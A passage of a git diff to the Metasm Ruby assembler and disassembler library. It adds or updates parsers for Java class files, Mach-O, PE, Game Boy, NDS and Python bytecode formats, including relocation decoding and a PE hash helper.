(n+1) * 32k bytes + byte :ram_size + byte :destination_code + byte :old_licensee_code + byte :mask_rom_version + byte :header_checksum + byte :checksum_hi + byte :checksum_lo + end + + def encode_byte(val) Expression[val].encode(:u8, @endianness) end + def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end + def sizeof_byte ; 1 ; end + + + attr_accessor :header + + def initialize(cpu=nil) + @endianness = (cpu ? cpu.endianness : :little) + super(cpu) + end + + def decode_header + @encoded.ptr = 0x104 + @header = Header.decode(self) + end + + def decode + decode_header + @encoded.add_export('entrypoint', 0x100) + end + + def cpu_from_headers + Z80.new('gb') + end + + def each_section + yield @encoded, 0 + end + + def get_default_entrypoints + ['entrypoint'] + end +end +end diff --git a/lib/metasm/metasm/exe_format/javaclass.rb b/lib/metasm/metasm/exe_format/javaclass.rb new file mode 100644 index 0000000000..f709b7ddac --- /dev/null +++ b/lib/metasm/metasm/exe_format/javaclass.rb @@ -0,0 +1,424 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + +module Metasm + +class JavaClass < ExeFormat + MAGIC = "\xCA\xFE\xBA\xBE" + + CONSTANT_TAG = {0x1 => 'Utf8', 0x3 => 'Integer', + 0x4 => 'Float', 0x5 => 'Long', + 0x6 => 'Double', 0x7 => 'Class', + 0x8 => 'String', 0x9 => 'Fieldref', + 0xa => 'Methodref', 0xb => 'InterfaceMethodref', + 0xc => 'NameAndType' } + + class SerialStruct < Metasm::SerialStruct + new_int_field :u1, :u2, :u4 + end + + class Header < SerialStruct + mem :magic, 4, MAGIC + u2 :minor_version + u2 :major_version + end + + class ConstantPool < SerialStruct + u2 :constant_pool_count + attr_accessor :constant_pool + + def decode(c) + super(c) + + @constant_pool = [nil] + + i = 1 + while i < @constant_pool_count + entry = ConstantPoolInfo.decode(c) + entry.idx = i + @constant_pool << entry + i += 1 + + if entry.tag =~ /Long|Double/ + # we must insert a phantom cell + # for long and double constants + @constant_pool << nil + i += 1 + end + end + end + + def encode(c) + cp = super(c) + + @constant_pool.each { |entry| + next if entry.nil? + cp << entry.encode(c) + } + cp + end + + def [](idx) + @constant_pool[idx] + end + + def []=(idx, val) + raise 'cannot be used to add a cp entry' if @constant_pool[idx].nil? + @constant_pool[idx] = val + end + end + + class ConstantPoolInfo < SerialStruct + u1 :tag + fld_enum :tag, CONSTANT_TAG + attr_accessor :info, :idx + + def decode(c) + super(c) + + case @tag + when 'Utf8' + @info = ConstantUtf8.decode(c) + when /Integer|Float/ + @info = ConstantIntFloat.decode(c) + when /Long|Double/ + @info = ConstantLongDouble.decode(c) + when /Class|String/ + @info = ConstantIndex.decode(c) + when /ref$/ + @info = ConstantRef.decode(c) + when 'NameAndType' + @info = ConstantNameAndType.decode(c) + else + raise 'unkown constant tag' + return + end + end + + def encode(c) + super(c) << @info.encode(c) + end + end + + class ConstantUtf8 < SerialStruct + u2 :length + attr_accessor :bytes + + def decode(c) + super(c) + @bytes = c.encoded.read(@length) + end + + def encode(c) + super(c) << @bytes + end + end + + class ConstantIntFloat < SerialStruct + u4 :bytes + end + + class ConstantLongDouble < SerialStruct + u4 :high_bytes + u4 :low_bytes + end + + class ConstantIndex < SerialStruct + u2 :index + end + + class ConstantRef < SerialStruct + u2 :class_index + u2 :name_and_type_index + end + + class ConstantNameAndType < SerialStruct + u2 :name_index + u2 :descriptor_index + end + + class ClassInfo < SerialStruct + u2 :access_flags + u2 :this_class + u2 :super_class + end + + class Interfaces < SerialStruct + u2 :interfaces_count + attr_accessor :interfaces + + def decode(c) + super(c) + + @interfaces = [] + @interfaces_count.times { + @interfaces << ConstantIndex.decode(c) + } + end + + def encode(c) + ret = super(c) + + @interfaces.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @interfaces[idx] + end + end + + class Fields < SerialStruct + u2 :fields_count + attr_accessor :fields + + def decode(c) + super(c) + @fields = [] + @fields_count.times { + @fields << FieldMethodInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @fields.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @fields[idx] + end + end + + class Methods < SerialStruct + u2 :methods_count + attr_accessor :methods + + def decode(c) + super(c) + @methods = [] + @methods_count.times { + @methods << FieldMethodInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @methods.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @methods[idx] + end + end + + class FieldMethodInfo < SerialStruct + u2 :access_flags + u2 :name_index + u2 :descriptor_index + attr_accessor :attributes + + def decode(c) + super(c) + @attributes = Attributes.decode(c) + end + + def encode(c) + super(c) << @attributes.encode(c) + end + end + + class Attributes < SerialStruct + u2 :attributes_count + attr_accessor :attributes + + def decode(c) + super(c) + + @attributes = [] + @attributes_count.times { |i| + @attributes << AttributeInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @attributes.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @attributes[idx] + end + end + + class AttributeInfo < SerialStruct + u2 :attribute_name_index + u4 :attribute_length + attr_accessor :data + + def decode(c) + super(c) + @data = c.encoded.read(@attribute_length) + end + + def encode(c) + super(c) << @data + end + end + + def encode_u1(val) Expression[val].encode(:u8, @endianness) end + def encode_u2(val) Expression[val].encode(:u16, @endianness) end + def encode_u4(val) Expression[val].encode(:u32, @endianness) end + def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end + def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_u1 ; 1 ; end + def sizeof_u2 ; 2 ; end + def sizeof_u4 ; 4 ; end + + attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes + + def initialize(endianness=:big) + @endianness = endianness + @encoded = EncodedData.new + super() + end + + def decode + @header = Header.decode(self) + @constant_pool = ConstantPool.decode(self) + @class_info = ClassInfo.decode(self) + @interfaces = Interfaces.decode(self) + @fields = Fields.decode(self) + @methods = Methods.decode(self) + @attributes = Attributes.decode(self) + end + + def encode + @encoded = EncodedData.new + @encoded << @header.encode(self) + @encoded << @constant_pool.encode(self) + @encoded << @class_info.encode(self) + @encoded << @interfaces.encode(self) + @encoded << @fields.encode(self) + @encoded << @methods.encode(self) + @encoded << @attributes.encode(self) + @encoded.data + end + + def cpu_from_headers + raise 'JVM' + end + + def each_section + raise 'n/a' + end + + def get_default_entrypoints + [] + end + + def string_at(idx) + loop do + tmp = @constant_pool[idx].info + return tmp.bytes if tmp.kind_of? ConstantUtf8 + idx = tmp.index + end + end + + def decode_methodref(mref) + class_idx = mref.info.class_index + nt_idx = mref.info.name_and_type_index + name_idx = @constant_pool[nt_idx].info.name_index + desc_idx = @constant_pool[nt_idx].info.descriptor_index + + string_at(class_idx) + '/' + string_at(name_idx) + string_at(desc_idx) + end + + def cp_add(cpi, tag) + cpe = ConstantPoolInfo.new + cpe.tag = tag + cpe.info = cpi + cpe.idx = @constant_pool.constant_pool_count + + @constant_pool.constant_pool << cpe + @constant_pool.constant_pool_count += 1 + @constant_pool.constant_pool_count += 1 if tag =~ /Long|Double/ + + cpe.idx + end + + def cp_find(tag) + constant_pool.constant_pool.each { |e| + next if !e or e.tag != tag + if yield(e.info) + return e.idx + end + } + nil + end + + + def cp_auto_utf8(string) + if idx = cp_find('Utf8') { |i| i.bytes == string } + return idx + end + + cpi = ConstantUtf8.new + cpi.bytes = string + cpi.length = string.length + cp_add(cpi, 'Utf8') + end + + def cp_auto_class(classname) + if idx = cp_find('Class') { |i| string_at(i.index) == classname } + return idx + end + + cpi = ConstantIndex.new + cpi.index = cp_auto_utf8(classname) + cp_add(cpi, 'Class') + end + + def cp_add_methodref(classname, name, descriptor) + nat = ConstantNameAndType.new + nat.name_index = cp_auto_utf8(name) + nat.descriptor_index = cp_auto_utf8(descriptor) + natidx = cp_add(nat, 'NameAndType') + + cpi = ConstantRef.new + cpi.class_index = cp_auto_class(classname) + cpi.name_and_type_index = natidx + + cp_add(cpi, 'Methodref') + end + + def attribute_create(name, data) + a = AttributeInfo.new + a.attribute_name_index = cp_auto_utf8(name) + a.attribute_length = data.size + a.data = data + a + end +end +end diff --git a/lib/metasm/metasm/exe_format/macho.rb b/lib/metasm/metasm/exe_format/macho.rb index a8c830d98e..21c21b37d9 100644 --- a/lib/metasm/metasm/exe_format/macho.rb +++ b/lib/metasm/metasm/exe_format/macho.rb @@ -17,6 +17,9 @@ class MachO < ExeFormat MAGICS = [MAGIC, CIGAM, MAGIC64, CIGAM64] + # "a" != "a" lolz! + MAGICS.each { |s| s.force_encoding('BINARY') } if MAGIC.respond_to?(:force_encoding) + CPU = { 1 => 'VAX', 2 => 'ROMP', 4 => 'NS32032', 5 => 'NS32332', @@ -44,7 +47,7 @@ class MachO < ExeFormat 3 => 'MMAX_APC_FPU', 4 => 'MMAX_APC_FPA', 5 => 'MMAX_XPC', }, 'I386' => { 3 => 'ALL', 4 => '486', 4+128 => '486SX', - 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', + 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', 5 => 'PENT', 0x16 => 'PENTPRO', 0x36 => 'PENTII_M3', 0x56 => 'PENTII_M5', }, 'MIPS' => { 0 => 'ALL', 1 => 'R2300', 2 => 'R2600', 3 => 'R2800', 4 => 'R2000a', }, @@ -52,6 +55,7 @@ class MachO < ExeFormat 'HPPA' => { 0 => 'ALL', 1 => '7100LC', }, 'ARM' => { 0 => 'ALL', 1 => 'A500_ARCH', 2 => 'A500', 3 => 'A440', 4 => 'M4', 5 => 'A680', 6 => 'ARMV6', 9 => 'ARMV7', + 11 => 'ARMV7S', }, 'MC88000' => { 0 => 'ALL', 1 => 'MC88100', 2 => 'MC88110', }, :wtf => { 0 => 'MC98000_ALL', 1 => 'MC98601', }, @@ -82,7 +86,7 @@ class MachO < ExeFormat 0x10 => 'PREBOUND', 0x20 => 'SPLIT_SEGS', 0x40 => 'LAZY_INIT', 0x80 => 'TWOLEVEL', 0x100 => 'FORCE_FLAT', 0x200 => 'NOMULTIDEFS', 0x400 => 'NOFIXPREBINDING', 0x800 => 'PREBINDABLE', 0x1000 => 'ALLMODSBOUND', 0x2000 => 'SUBSECTIONS_VIA_SYMBOLS', 0x4000 => 'CANONICAL', 0x8000 => 'WEAK_DEFINES', - 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', + 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', 0x200000 => 'MH_PIE', } SEG_PROT = { 1 => 'READ', 2 => 'WRITE', 4 => 'EXECUTE' } @@ -96,12 +100,13 @@ class MachO < ExeFormat 0x15 => 'SUB_LIBRARY', 0x16 => 'TWOLEVEL_HINTS', 0x17 => 'PREBIND_CKSUM', 0x8000_0018 => 'LOAD_WEAK_DYLIB', 0x19 => 'SEGMENT_64', 0x1a => 'ROUTINES_64', 0x1b => 'UUID', 0x8000_001c => 'RPATH', 0x1d => 'CODE_SIGNATURE_PTR', 0x1e => 'CODE_SEGMENT_SPLIT_INFO', + 0x21 => 'ENCRYPTION_INFO', 0x8000_001f => 'REEXPORT_DYLIB', #0x8000_0000 => 'REQ_DYLD', } THREAD_FLAVOR = { - 'POWERPC' => { + 'POWERPC' => { 1 => 'THREAD_STATE', 2 => 'FLOAT_STATE', 3 => 'EXCEPTION_STATE', @@ -126,6 +131,15 @@ class MachO < ExeFormat SYM_SCOPE = { 0 => 'LOCAL', 1 => 'GLOBAL' } SYM_TYPE = { 0 => 'UNDF', 2/2 => 'ABS', 0xa/2 => 'INDR', 0xe/2 => 'SECT', 0x1e/2 => 'TYPE' } SYM_STAB = { } + IND_SYM_IDX = { 0x4000_0000 => 'INDIRECT_SYMBOL_ABS', 0x8000_0000 => 'INDIRECT_SYMBOL_LOCAL' } + + GENERIC_RELOC = { 0 => 'VANILLA', 1 => 'PAIR', 2 => 'SECTDIFF', 3 => 'LOCAL_SECTDIFF', 4 => 'PB_LA_PTR' } + + SEC_TYPE = { + 0 => 'REGULAR', 1 => 'ZEROFILL', 2 => 'CSTRING_LITERALS', 3 => '4BYTE_LITERALS', + 4 => '8BYTE_LITERALS', 5 => 'LITERAL_POINTERS', 6 => 'NON_LAZY_SYMBOL_POINTERS', + 7 => 'LAZY_SYMBOL_POINTERS', 8 => 'SYMBOL_STUBS', 9 => 'MOD_INIT_FUNC_POINTERS' + } class SerialStruct < Metasm::SerialStruct new_int_field :xword @@ -180,7 +194,7 @@ class MachO < ExeFormat def decode(m) super(m) ptr = m.encoded.ptr - if @cmd.kind_of? String and self.class.constants.map { |c| c.to_s }.include? @cmd + if @cmd.kind_of?(String) and self.class.constants.map { |c| c.to_s }.include?(@cmd) @data = self.class.const_get(@cmd).decode(m) end m.encoded.ptr = ptr + @cmdsize - 8 @@ -193,7 +207,7 @@ class MachO < ExeFormat end def encode(m) - ed = super(m) + ed = super(m) ed << @data.encode(m) if @data ed.align(m.size >> 3) ed.fixup! @cmdsize => ed.length if @cmdsize.kind_of? String @@ -243,7 +257,10 @@ class MachO < ExeFormat str :name, 16 str :segname, 16 xwords :addr, :size - words :offset, :align, :reloff, :nreloc, :flags, :res1, :res2 + words :offset, :align, :reloff, :nreloc + bitfield :word, 0 => :type, 8 => :attributes_sys, 24 => :attributes_usr + words :res1, :res2 + fld_enum :type, SEC_TYPE attr_accessor :res3 # word 64bit only attr_accessor :segment, :encoded @@ -258,10 +275,6 @@ class MachO < ExeFormat # addr, offset, etc = @segment.virtaddr + 42 super(m) end - - def decode_inner(m) - @encoded = m.encoded[m.addr_to_off(@addr), @size] - end end SECTION_64 = SECTION @@ -279,7 +292,7 @@ class MachO < ExeFormat words :flavor, :count fld_enum(:flavor) { |m, t| THREAD_FLAVOR[m.header.cputype] || {} } attr_accessor :ctx - + def entrypoint(m) @ctx ||= {} case m.header.cputype @@ -346,6 +359,7 @@ class MachO < ExeFormat end LOAD_DYLIB = DYLIB ID_DYLIB = DYLIB + LOAD_WEAK_DYLIB = DYLIB class PREBOUND_DYLIB < STRING word :stroff @@ -356,6 +370,10 @@ class MachO < ExeFormat LOAD_DYLINKER = STRING ID_DYLINKER = STRING + class ENCRYPTION_INFO < SerialStruct + words :cryptoff, :cryptsize, :cryptid + end + class ROUTINES < SerialStruct xwords :init_addr, :init_module, :res1, :res2, :res3, :res4, :res5, :res6 end @@ -388,7 +406,7 @@ class MachO < ExeFormat end end - class CODE_SIGNATURE < SerialStruct + class CODE_SIGNATURE < SerialStruct word :magic word :size word :count @@ -479,6 +497,12 @@ class MachO < ExeFormat end end + class Relocation < SerialStruct + word :address + bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, 27 => :extern, 28 => :type + fld_enum :type, GENERIC_RELOC + end + def encode_byte(val) Expression[val].encode( :u8, @endianness) end def encode_half(val) Expression[val].encode(:u16, @endianness) end def encode_word(val) Expression[val].encode(:u32, @endianness) end @@ -487,6 +511,10 @@ class MachO < ExeFormat def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xword ; @size == 32 ? 4 : 8 ; end attr_accessor :endianness, :size @@ -494,6 +522,7 @@ class MachO < ExeFormat attr_accessor :segments attr_accessor :commands attr_accessor :symbols + attr_accessor :relocs def initialize(cpu=nil) super(cpu) @@ -523,6 +552,35 @@ class MachO < ExeFormat decode_relocations end + # return the segment containing address, set seg.encoded.ptr to the correct offset + def segment_at(addr) + return if not addr or addr <= 0 + if seg = @segments.find { |seg_| addr >= seg_.virtaddr and addr < seg_.virtaddr + seg_.virtsize } + seg.encoded.ptr = addr - seg.virtaddr + seg + end + end + + def addr_to_fileoff(addr) + s = @segments.find { |s_| s_.virtaddr <= addr and s_.virtaddr + s_.virtsize > addr } if addr + addr - s.virtaddr + s.fileoff if s + end + + def fileoff_to_addr(foff) + if s = @segments.find { |s_| s_.fileoff <= foff and s_.fileoff + s_.filesize > foff } + s.virtaddr + module_address + foff - s.fileoff + end + end + + def module_address + @segments.map { |s_| s_.virtaddr }.min || 0 + end + + def module_size + return 0 if not sz = @segments.map { |s_| s_.virtaddr + s_.virtsize }.max + sz - module_address + end + def decode_symbols @symbols = [] ep_count = 0 @@ -537,30 +595,159 @@ class MachO < ExeFormat when 'THREAD', 'UNIXTHREAD' ep_count += 1 ep = cmd.data.entrypoint(self) - next if not seg = @segments.find { |seg_| ep >= seg_.virtaddr and ep < seg_.virtaddr + seg_.virtsize } - seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }", ep - seg.virtaddr) + next if not seg = segment_at(ep) + seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }") end } @symbols.each { |s| next if s.value == 0 or not s.name - next if not seg = @segments.find { |seg_| s.value >= seg_.virtaddr and s.value < seg_.virtaddr + seg_.virtsize } - seg.encoded.add_export(s.name, s.value - seg.virtaddr) + next if not seg = segment_at(s.value) + seg.encoded.add_export(s.name) } end def decode_relocations + @relocs = [] + indsymtab = [] + @commands.each { |cmd| + if cmd.cmd == 'DYSYMTAB' + @encoded.ptr = cmd.data.extreloff + cmd.data.nextrel.times { @relocs << Relocation.decode(self) } + @encoded.ptr = cmd.data.locreloff + cmd.data.nlocrel.times { @relocs << Relocation.decode(self) } + @encoded.ptr = cmd.data.indirectsymoff + cmd.data.nindirectsyms.times { indsymtab << decode_word } + end + } + @segments.each { |seg| + seg.sections.each { |sec| + @encoded.ptr = sec.reloff + sec.nreloc.times { @relocs << Relocation.decode(self) } + + case sec.type + when 'NON_LAZY_SYMBOL_POINTERS', 'LAZY_SYMBOL_POINTERS' + edata = seg.encoded + off = sec.offset - seg.fileoff + (sec.size / 4).times { |i| + sidx = indsymtab[sec.res1+i] + case IND_SYM_IDX[sidx] + when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base + edata.ptr = off + addr = decode_word(edata) + if s = segment_at(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label], :u32, @endianness) + end + when 'INDIRECT_SYMBOL_ABS' # nothing + else + sym = @symbols[sidx] + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness) + end + off += 4 + } + when 'SYMBOL_STUBS' + # TODO next unless arch == 386 and sec.attrs & SELF_MODIFYING_CODE and sec.res2 == 5 + + edata = seg.encoded + edata.data = edata.data.to_str.dup + off = sec.offset - seg.fileoff + 1 + (sec.size / 5).times { |i| + sidx = indsymtab[sec.res1+i] + case IND_SYM_IDX[sidx] + when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base + edata.ptr = off + addr = decode_word(edata) + if s = segment_at(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness) + end + when 'INDIRECT_SYMBOL_ABS' # nothing + else + seg.encoded[off-1] = 0xe9 + sym = @symbols[sidx] + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness) + end + off += 5 + } + + end + } + } + seg = nil + @relocs.each { |r| + if r.extern == 1 + sym = @symbols[r.symbolnum] + seg = @segments.find { |sg| sg.virtaddr <= r.address and sg.virtaddr + sg.virtsize > r.address } unless seg and seg.virtaddr <= r.address and seg.virtaddr + seg.virtsize > r.address + if not seg + puts "macho: reloc to unmapped space #{r.inspect} #{sym.inspect}" if $VERBOSE + next + end + seg.encoded.reloc[r.address - seg.virtaddr] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness) + end + } end def decode_segment(s) + @encoded.add_export(s.name, s.fileoff) s.encoded = @encoded[s.fileoff, s.filesize] s.encoded.virtsize = s.virtsize - s.sections.each { |ss| ss.encoded = @encoded[ss.offset, ss.size] } + s.sections.each { |ss| + ss.encoded = @encoded[ss.offset, ss.size] + s.encoded.add_export(ss.name, ss.offset - s.fileoff) + } end def each_section(&b) @segments.each { |s| yield s.encoded, s.virtaddr } end + def section_info + ret = [] + @segments.each { |seg| + ret.concat seg.sections.map { |s| [s.name, s.addr, s.size, s.type] } + } + ret + end + + def init_disassembler + d = super() + case @cpu.shortname + when 'ia32', 'x64' + old_cp = d.c_parser + d.c_parser = nil + d.parse_c < true, :maxdepth => maxdepth) + if fnaddr.kind_of?(::Array) and fnaddr.length == 1 and s = dasm.decode_strz(fnaddr.first, 64) and s.length > sz + bind = bind.merge @cpu.register_symbols[0] => Expression[s] + end + bind + } + + df = d.function[:default] = @cpu.disassembler_default_func + df.backtrace_binding[@cpu.register_symbols[4]] = Expression[@cpu.register_symbols[4], :+, @cpu.size/8] + df.btbind_callback = nil + end + d + end + def get_default_entrypoints @commands.find_all { |cmd| cmd.cmd == 'THREAD' or cmd.cmd == 'UNIXTHREAD' }.map { |cmd| cmd.data.entrypoint(self) } end @@ -795,6 +982,7 @@ class UniversalBinary < ExeFormat def encode_word(val) Expression[val].encode(:u32, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_word ; 4 ; end attr_accessor :endianness, :encoded, :header, :archive def initialize diff --git a/lib/metasm/metasm/exe_format/main.rb b/lib/metasm/metasm/exe_format/main.rb index 6134148e13..3f47ab793f 100644 --- a/lib/metasm/metasm/exe_format/main.rb +++ b/lib/metasm/metasm/exe_format/main.rb @@ -16,7 +16,7 @@ class ExeFormat # creates a new instance, populates self.encoded with the supplied string def self.load(str, *a, &b) e = new(*a, &b) - if str.kind_of? EncodedData; e.encoded = str + if str.kind_of?(EncodedData); e.encoded = str else e.encoded << str end e @@ -63,6 +63,30 @@ class ExeFormat e end + def load(str) + if str.kind_of?(EncodedData); @encoded = str + else @encoded << str + end + self + end + + def load_file(path) + @filename ||= path + load(VirtualFile.read(path)) + end + + def decode_file(path) + load_file(path) + decode + self + end + + def decode_file_header(path) + load_file(path) + decode_header + self + end + # creates a new object using the specified cpu, parses the asm source, and assemble def self.assemble(cpu, source, file='', lineno=1) source, cpu = cpu, source if source.kind_of? CPU @@ -175,9 +199,8 @@ class ExeFormat end # saves the result of +encode_string+ in the specified file - # fails if the file already exists + # overwrites existing files def encode_file(path, *a) - #raise Errno::EEXIST, path if File.exist? path # race, but cannot use O_EXCL, as O_BINARY is not defined in ruby encode_string(*a) File.open(path, 'wb') { |fd| fd.write(@encoded.data) } end diff --git a/lib/metasm/metasm/exe_format/mz.rb b/lib/metasm/metasm/exe_format/mz.rb index e640509d0d..5097be9123 100644 --- a/lib/metasm/metasm/exe_format/mz.rb +++ b/lib/metasm/metasm/exe_format/mz.rb @@ -51,6 +51,7 @@ class MZ < ExeFormat def encode_word(val) Expression[val].encode(:u16, @endianness) end # decodes a 16bits word from self.encoded def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def sizeof_word ; 2 ; end attr_accessor :endianness, :header, :source diff --git a/lib/metasm/metasm/exe_format/nds.rb b/lib/metasm/metasm/exe_format/nds.rb index 0e9cb80a78..c0519287fa 100644 --- a/lib/metasm/metasm/exe_format/nds.rb +++ b/lib/metasm/metasm/exe_format/nds.rb @@ -30,7 +30,7 @@ class NDS < ExeFormat mem :secareadisable, 8 words :endoff, :headersz mem :reserved4, 56 - mem :ninlogo, 156 + mem :ninlogo, 156 half :logoCRC, 0xcf56 half :headerCRC end @@ -70,14 +70,17 @@ class NDS < ExeFormat def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end attr_accessor :header, :icon, :arm9, :arm7 attr_accessor :files, :fat - def initialize(endianness=:little) - @endianness = endianness - @encoded = EncodedData.new + def initialize(cpu=nil) + @endianness = (cpu ? cpu.endianness : :little) + super(cpu) end # decodes the header from the current offset in self.encoded diff --git a/lib/metasm/metasm/exe_format/pe.rb b/lib/metasm/metasm/exe_format/pe.rb index 8803a317f7..9f8e7d6181 100644 --- a/lib/metasm/metasm/exe_format/pe.rb +++ b/lib/metasm/metasm/exe_format/pe.rb @@ -215,7 +215,7 @@ EOS # TODO seh prototype (args => context) # TODO hook on (non)resolution of :w xref def get_xrefs_x(dasm, di) - if @cpu.shortname =~ /ia32|x64/ and a = di.instruction.args.first and a.kind_of? Ia32::ModRM and a.seg and a.seg.val == 4 and + if @cpu.shortname =~ /^ia32|^x64/ and a = di.instruction.args.first and a.kind_of?(Ia32::ModRM) and a.seg and a.seg.val == 4 and w = get_xrefs_rw(dasm, di).find { |type, ptr, len| type == :w and ptr.externals.include? 'segment_base_fs' } and dasm.backtrace(Expression[w[1], :-, 'segment_base_fs'], di.address).to_a.include?(Expression[0]) sehptr = w[1] @@ -225,7 +225,7 @@ EOS puts "backtrace seh from #{di} => #{a.map { |addr| Expression[addr] }.join(', ')}" if $VERBOSE a.each { |aa| next if aa == Expression::Unknown - l = dasm.auto_label_at(aa, 'seh', 'loc', 'sub') + dasm.auto_label_at(aa, 'seh', 'loc', 'sub') dasm.addrs_todo << [aa] } super(dasm, di) @@ -243,17 +243,19 @@ EOS old_cp = d.c_parser d.c_parser = nil d.parse_c '__stdcall void *GetProcAddress(int, char *);' - d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.kind_of? X86_64 + d.parse_c '__stdcall void ExitProcess(int) __attribute__((noreturn));' + d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64' gpa = @cpu.decode_c_function_prototype(d.c_parser, 'GetProcAddress') + epr = @cpu.decode_c_function_prototype(d.c_parser, 'ExitProcess') d.c_parser = old_cp d.parse_c '' - d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.kind_of? X86_64 + d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64' @getprocaddr_unknown = [] gpa.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| break bind if @getprocaddr_unknown.include? [dasm, calladdr] or not Expression[expr].externals.include? :eax sz = @cpu.size/8 break bind if not dasm.decoded[calladdr] - if @cpu.kind_of? X86_64 + if @cpu.shortname == 'x64' arg2 = :rdx else arg2 = Indirection[[:esp, :+, 2*sz], sz, calladdr] @@ -268,6 +270,7 @@ EOS bind } d.function[Expression['GetProcAddress']] = gpa + d.function[Expression['ExitProcess']] = epr d.function[:default] = @cpu.disassembler_default_func end d @@ -294,6 +297,35 @@ EOS } if export syms end + + # compute the pe-sha1 or pe-sha256 of the binary + # argument should be a Digest::SHA1 (from digest/sha1) or a Digest::SHA256 (from digest/sha2) + # returns the hex checksum + def pehash(digest) + off0 = 0 + off1 = @coff_offset + @header.sizeof(self) + @optheader.offsetof(self, :checksum) + + dir_ct_idx = DIRECTORIES.index('certificate_table') + if @optheader.numrva > dir_ct_idx + off2 = @coff_offset + @header.sizeof(self) + @optheader.sizeof(self) + 8*dir_ct_idx + ct_size = @encoded.data[off2, 8].unpack('V*')[1] + off3 = @encoded.length - ct_size + else + off4 = @encoded.length + end + + digest << @encoded.data[off0 ... off1].to_str + digest << @encoded.data[off1+4 ... off2].to_str if off2 + digest << @encoded.data[off2+8 ... off3].to_str if off2 and off3 > off2+8 + digest << @encoded.data[off1+4 ... off4].to_str if off4 + digest << ("\0" * (8 - (@encoded.length & 7))) if @encoded.length & 7 != 0 + + digest.hexdigest + end + + def self.pehash(path, digest) + decode_file_header(path).pehash(digest) + end end # an instance of a PE file, loaded in memory @@ -312,7 +344,7 @@ class LoadedPE < PE # reads a loaded PE from memory, returns a PE object # dumps the header, optheader and all sections ; try to rebuild IAT (#memdump_imports) - def self.memdump(memory, baseaddr, entrypoint = nil, iat_p=nil) + def self.memdump(memory, baseaddr, entrypoint=nil, iat_p=nil) loaded = LoadedPE.load memory[baseaddr, 0x1000_0000] loaded.load_address = baseaddr loaded.decode @@ -372,7 +404,6 @@ class LoadedPE < PE else # read imported pointer from the import structure while not ptr = imports.first.iat.shift - load_dll = nil imports.shift break if imports.empty? iat_p = imports.first.iat_p @@ -415,6 +446,7 @@ class LoadedPE < PE puts 'unknown ptr %x' % ptr if $DEBUG # allow holes in the unk_iat_p table break if not unk_iat_p or failcnt > 4 + loaded_dll = nil failcnt += 1 next end @@ -422,7 +454,7 @@ class LoadedPE < PE end # dumped last importdirectory is correct, append the import field - i = ImportDirectory::Import.new + i = ImportDirectory::Import.new if e.name puts e.name if $DEBUG i.name = e.name @@ -433,5 +465,9 @@ class LoadedPE < PE dump.imports.last.imports << i end end + + def pehash(digest) + raise "cannot compute a PEhash from memory image" + end end end diff --git a/lib/metasm/metasm/exe_format/pyc.rb b/lib/metasm/metasm/exe_format/pyc.rb new file mode 100644 index 0000000000..cad1da61bf --- /dev/null +++ b/lib/metasm/metasm/exe_format/pyc.rb @@ -0,0 +1,167 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + + +module Metasm +# Python preparsed module (.pyc) +class PYC < 